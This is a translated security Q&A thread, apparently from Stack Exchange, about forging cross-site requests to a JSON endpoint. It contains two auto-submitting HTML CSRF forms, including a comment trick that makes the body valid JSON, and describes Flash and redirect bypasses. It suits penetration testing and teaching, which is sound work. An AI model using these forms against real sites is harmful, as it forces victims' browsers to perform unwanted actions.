当 Content-Type 必须是 application/json 时带有 JSON POST 的 CSRF

信息安全 Web应用程序 csrf json
2021-09-03 05:16:14

我正在测试通过发送 JSON 请求来完成业务操作的 Web 应用程序,例如:

POST /dataRequest HTTP/1.1
Host: test.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 
Firefox/55.0
Accept: */*
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Content-Type: application/json; charset=utf-8
Content-Length: 99
Cookie: SESSIONID=7jtyutuytu1a
Connection: close

{"F":"test.AppRequestFactory","I":[{"O":"5vhghgjhgjE0="}]}

我制作了这样的 HTML 自动提交页面

<html>
<head>
</head>
<body onload=document.getElementById('xsrf').submit()>
    <form id="xsrf" action="https://test.com/dataRequest" method=post enctype="text/plain">
    <input name='{"F":"test.AppRequestFactory","I":[{"O":""O":"5vhghgjhgjE0' value='"}]}' type='hidden'>
    </form>
</body>
</html>

问题是它将与标头一起发送Content-Type: text/plain,但服务器只接受Content-Type: application/json; charset=utf-8

我已经阅读了带有 JSON POST 的 CSRF讨论, 其中一条评论指出:

使用这样的东西:var blob= new Blob([JSON.stringify(YOUR JSON)], {type : 'application/json; charset=UTF-8'});生成一个 JSON blob,它会完美发送。CSRF 在几秒钟内!

但我不知道如何使用这种方法。

这个应用程序是否容易受到 CSRF 攻击?

3个回答

这个应用程序是否容易受到 CSRF 攻击?

是的,它很脆弱。但是,这里的先决条件是Flash在 Flash 的帮助下,可以伪造Content-type具有任意值的标头。您需要做的是向您自己的域发布请求,然后发出 307 重定向。请参考以下截图:

x 域应用程序/json 请求

有关详细信息,请参阅此 cm2.pw 文章

使用这样的东西:var blob= new Blob([JSON.stringify(YOUR JSON)], {type : 'application/json; charset=UTF-8'});生成一个 JSON blob,它会完美发送。CSRF 在几秒钟内!

这一点,afaik,已经在现代浏览器中修复了。但是,它仍然可以在带有文件 URI 的 IE 中使用。

更新
由于最近仍然有很多浏览量,我正在添加修复链接; https://bugzilla.mozilla.org/show_bug.cgi?id=1436241 https://bugs.chromium.org/p/chromium/issues/detail?id=332023

由于某种原因,铬修复不起作用,仍然允许POST使用自定义标头发送请求Content-type

警告:这个答案可能是错误的并且过于乐观。请参阅上面1lastBr3ath 的答案(关于闪存)和下面的 jub0bs 评论(关于巧妙的解决方法)。

不,我不认为该应用程序易受攻击。

您可以更改Content-Type标题,例如使用fetch API但是,您只能将三个值用于跨域请求:

application/x-www-form-urlencoded
multipart/form-data
text/plain

如果您将其更改为其他任何内容,例如application/json,浏览器将首先OPTIONS向服务器发出请求,以查看它是否允许更改该标头。这种行为是CORS的一部分,它旨在将您可以使用 JavaScript 进行的跨域请求限制为您可以使用简单的 HTML 进行的老式请求。因此,除非服务器明确允许任何域设置此标头(这将是一件愚蠢的事情),否则您就不走运了。

但是请注意,这似乎是“意外安全”的情况。我会依靠更强大的东西来保护我的 CSRF(也许他们会这样做,一旦你克服了内容类型的障碍)。如果有一天有人认为如果服务器接受其他内容类型并消除该限制会很好,那会发生什么?使用这种配置,很容易意外打开安全漏洞。

实现这一点的另一种方法是利用大多数 json 解析器都尊重注释的使用这一事实。因此,通过创建一个带有隐藏输入的简单 html 表单,您可以将 json 数据作为输入元素的名称,以便将其发布到正文。在这种情况下,唯一的问题是提交表单时,帖子的正文将具有“=”(来自输入的 name=value 格式)。因此,为避免这种情况并使 json 再次有效,您可以在名称(您的 json 数据)末尾添加一个注释指示符。这样 '=' 字符将在解析时被注释。

这是一个例子:

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://www.example.com/" method="POST" enctype="text/plain">
      <input type="hidden" name='{"name":"value"}//' value="" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>